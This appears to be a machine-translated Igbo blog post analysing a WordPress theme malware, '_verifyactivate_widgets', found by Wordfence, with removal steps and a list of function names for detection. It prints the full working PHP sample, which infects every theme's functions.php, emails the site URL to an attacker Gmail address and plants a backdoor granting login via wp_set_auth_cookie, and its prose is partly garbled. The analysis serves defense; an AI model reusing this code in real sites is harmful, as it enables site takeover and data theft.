Kedu ka isiokwu WordPress si ehichapụ koodu ọjọọ _verifyactivate_widgets

odi nsoChen WeiliangA na-ejiIhe nchekwa nchekwa Wordfence na-enyocha weebụsaịtị maka koodu ọjọọE mesịa, a chọtara yaWordPressNa faịlụ function.php isiokwu, zoo koodu nje ọjọọ.

Koodu ọjọọ na faịlụ WordPress na-arụ ọrụ.php

Ebe kachasị maka "koodu ọjọọ" na WordPress bụ function.php na ndekọ isiokwu, na-ezokarị na njedebe nke faịlụ function.php.

isi nsogbu:Koodu ọjọọ ahụ ga-achọpụta ma isiokwu niile dị n'okpuru blọgụ ugbu a na-ebute ọrịa oge ọ bụla mmadụ gara na ibe blọgụ gị, ma ọ bụrụ na ọ bụghị, a ga-ebute ọrịa ọnụ.

Mgbe nke ahụ gachara, mgbe emechara init nke wp, ọ ga-elele ma blọọgụ dị ugbu a ezipụla ozi-e na igbe ozi livethemas@gmail. com

Kedu otu ị ga-esi mara ma ebisara ya?

• N'ime tebụl wp_options gị enwere faịlụ a na-akpọ_is_widget_active_nhọrọ, ọ bụrụ na ezipụla ya nke ọma, tọọ uru ya na 1;
• Ọ bụrụ na ọ bụghị, jiri URL mbụ nke blọgụ nwere ọrịa ugbu a dị ka aha na ọdịnaya.
• Nke ahụ bụ ya, ọ dịghị ihe ọjọọ ọzọ ime.

Koodu nje ọjọọ ahụ bụ nke a (enwere ike ịdị iche iche, mana koodu bụ isi bụ otu):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

Kedu koodu ọjọọ nke isiokwu WordPress?

Ọ bụrụ na ị na-enyocha ngwa mgbakwunye Wordfence Security na-ekpebi na emebiela faịlụ function.php gị, ịkwesịrị ịlele, dịka ọmụmaatụ:

1. _verifyactivate_wijetị
2. ọrụ _checkactive_widgets
3. ọrụ _get_allwidgets_cont
4. ọrụ stripos
5. ọrụ stripos
6. ọrụ scandir
7. ọrụ _getprepare_widget
8. ọrụ __popular_posts
9. add_action ("admin_head", "_checkactive_widgets");
10. add_action ("init", "_getprepare_widget");
11. _verify_isactivate_wijetị
12. _check_isactive_wijetị
13. _nweta_allwidgetscont
14. _kwadebe_wijetị
15. _posts_ewu ewu

• Ahịrị ọ bụla nwere onwe ya, ọ bụrụ na ị nwere koodu dị n'elu na ọrụ gị.php mgbe ahụ enwere ike ịkụ gị.
• N'ime ha, ọrụ na add_action bụ koodu nke "koodu ọjọọ" bụ nke "ememme nkwadebe".

Otu esi ewepu WordPress theme function.php koodu nje ọjọọ?

Ọ dịkwa mfe ihicha, naanị chọta koodu yiri nke ahụ dị n'elu na faịlụ function.php nke isiokwu WordPress wee hichapụ ya, mana n'ihi na ozugbo oria, isiokwu niile dị na ndekọ isiokwu isiokwu gị ga-ebute ọrịa, yabụ naanị ugbu a Isiokwu a na-eji abaghị uru, a ga-emepụta ya ozugbo emechara ya.

Ihe ngwọta bụ iwepụ koodu nje ọjọọ nke otu isiokwu WordPress, tọọ faịlụ function.php na ikike 444, wee hichaa isiokwu WordPress ndị ọzọ.

Maka ma ikike 444 nke faịlụ ikpeazụ function.php kwesịrị ịgbanwe azụ, ndị mmadụ na-atụ aro na 444 dịtụ mma ma nwee ike gbanwee mgbe ọ dị mkpa.

Ihe edeturu na iji ngwa mgbakwunye Wordfence Security

Anyị na-akwado ngwa mgbakwunye WordPress site na Nchekwa Wordfence, ngwa mgbakwunye nchekwa WordPress nwere ngwa ọkụ agbakwunyere na nyocha malware, nke otu nnukwu otu wuru ma na-echekwa ya nke 100% lekwasịrị anya na nchekwa WordPress.

Ọ bụ ezie na enwere modul akwụ ụgwọ, anyị nwere ike iji modul n'efu "Nyocha" iji nyochaa saịtị WordPress anyị maka faịlụ PHP nwere "koodu ọjọọ", n'agbanyeghị na enwere ụfọdụ ọnụego ziri ezi (karịsịa ụfọdụ ezigbo plugins, a ga-egbochi akụkụ nzuzo nke isiokwu. site na nhụsianya ụgha), mana ịchọta "koodu ọjọọ" bụ n'ezie ọrụ karịa na obere mbọ.

Ekwesiri iburu n'uche na a naghị atụ aro nkwụnye a ka ọ gbanye ya ugboro ugboro, n'ihi na firewall ya na nchebe nchebe ga-eme ka ụfọdụ nrụgide dị na nchekwa data na-emetụta arụmọrụ nke weebụsaịtị.

Dịka, a na-enyere plugins aka ịme nyocha "scan" mgbe achọrọ ya.

Mechie nkwụnye ahụ ka emechara nyocha, ọ bụrụ na ihe mberede.